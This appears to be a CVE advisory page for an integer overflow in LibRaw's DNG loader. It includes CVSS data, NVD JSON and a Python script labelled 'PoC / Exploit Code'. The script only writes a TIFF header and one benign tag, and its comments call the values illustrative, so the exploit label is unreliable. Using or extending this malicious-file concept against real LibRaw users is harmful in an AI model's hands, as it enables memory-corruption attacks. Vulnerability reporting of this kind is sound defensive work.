Security Vulnerability Report
中文
CVE-2026-20884 CVSS 8.1 HIGH

CVE-2026-20884

Published: 2026-04-07 15:17:35
Last Modified: 2026-04-10 20:50:53

Description

An integer overflow vulnerability exists in the deflate_dng_load_raw functionality of LibRaw Commit 8dc68e2. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libraw:libraw:0.22.1:*:*:*:*:*:*:* - VULNERABLE
LibRaw Commit 8dc68e2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-20884 # Triggering integer overflow in LibRaw deflate_dng_load_raw import struct def generate_malicious_dng(file_path): # Minimal TIFF/DNG header (Little Endian) header = b'\x49\x49\x2a\x00\x08\x00\x00\x00' # Construct malicious IFD entries to trigger overflow in size calculation # Values are illustrative to represent the concept of overflowing dimensions ifd_entries = b'' # Example: NewSubFileType (Tag 254) ifd_entries += struct.pack('<HHI', 254, 4, 0) # The exploit would specifically target tags used by deflate_dng_load_raw # to allocate buffers, causing (width * height * bpp) to overflow. with open(file_path, 'wb') as f: f.write(header + ifd_entries) print(f"[+] Generated file: {file_path}") if __name__ == "__main__": generate_malicious_dng("cve_2026_20884_poc.dng")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20884", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:35.127", "lastModified": "2026-04-10T20:50:52.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow vulnerability exists in the deflate_dng_load_raw functionality of LibRaw Commit 8dc68e2. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libraw:libraw:0.22.1:*:*:*:*:*:*:*", "matchCriteriaId": "BDC62434-024F-485D-A1B0-8608B70A2CF1"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2026-2364", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2026-2364", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}